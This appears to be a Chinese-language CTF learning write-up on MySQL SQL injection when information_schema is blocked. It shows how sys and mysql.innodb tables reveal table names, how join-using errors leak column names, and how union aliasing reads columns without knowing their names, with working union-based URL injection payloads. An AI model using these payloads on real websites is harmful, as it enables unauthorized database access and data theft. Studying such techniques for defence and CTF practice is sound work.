前言
在手工SQL注入时，我们常常会想着利用
information_schema库
来进行爆数据库名、表名、字段名，但如果 information_schema库 被禁用了怎么办？
正好遇到了这样一道题，所以来记录一下学习
简单介绍一下information_schema库
mysql中的information_schma这个库是干嘛的，在sql注入中它的作用是什么，那么有没有可以替代这个库的方法呢？
简单来说，information_schma库就像是mysql的信息数据库，它保存着mysql服务器所维护的所有其他数据库的信息，当然也就包括了数据库名、表名、列名。
在注入时，infromation_schema库的作用就是获取
table_schema、table_name、column_name
这些数据库内的信息。
MySQL5.7的新特性
在mysql在5.7版本中新增了sys.schema，基础数据来自于 performance_chema 和 information_schema 两个库，本身数据库不存储数据
所以就有了几个可以代替
infromation_schema
注入是的作用
sys.schema_auto_increment_columns
对表自增ID的监控
查询表的统计信息，其中还包括Innodb缓冲池统计信息，默认情况下按照增删改查操作的总表I/O延迟时间（执行时间）降序排序
…
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer
但是
sys.schema_auto_increment_columns
这个库有些局限性，一般要超级管理员才可以访问sys。
类似可以利用的表还有：
mysql.innodb_table_stats
、
mysql.innodb_table_index
同样存放有库名表名
无列名注入
上面的方法确实可以读取到数据库名和表名，但是列名呢？并没有找到可以读取列名的表
利用
join-using
注列名
join-using
通过系统关键词
join
可建立两个表之间的内连接。
通过对想要查询列名所在的表与其自身内连接
，会由于冗余的原因(相同列名存在)，而发生错误。并且报错信息会存在重复的列名，可以使用 USING 表达式声明内连接（INNER JOIN）条件来避免报错
爆表名
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
爆字段名
获取第一列的字段名及后面每一列字段名
?id=-1' union select*from (select * from users as a join users as b)as c--+
?id=-1' union select*from (select * from users as a join users b using(id,username))c--+
?id=-1' union select*from (select * from users as a join users b using(id,username,password))c--+
数据库中as作用是起别名，as是可以省略的，为了增加可读性，建议不省略。
正常查询
select 1,2,3,4,5 union select * from users;
无列名注入关键
就是要猜测表里有多少个列，要一一对应上，上面例子是有5个列
1，2，3，4，5 的作用就是对列起别名，替换为后面无列名注入做准备
接着就可以使用数字来对应列进行查询，如
3
对应了表里面的
pass
select
`3`
from (select 1,2,3,4,5 union select * from users)as a;
就相当于
select pass from (select 1,2,3,4,5 union select * from users)as a
;
SQL 中反引号是可以代表数据库名和列名的
(select 1,2,3,4,5 union select * from users)as a
把括号里的查询数据重命名一张新的表
a
，在从中查询
当反引号被禁用时，就可以使用起别名的方法来代替
select b from (select 1,2, 3 as b ,4,5 union select * from users)as a;
在注入时同时查询多个列
select group_concat(b,c) from (select 1,2, 3 as b , 4 as c ,5 union select * from users)as a;
其他爆表名的方法还可以延伸，可以参考这个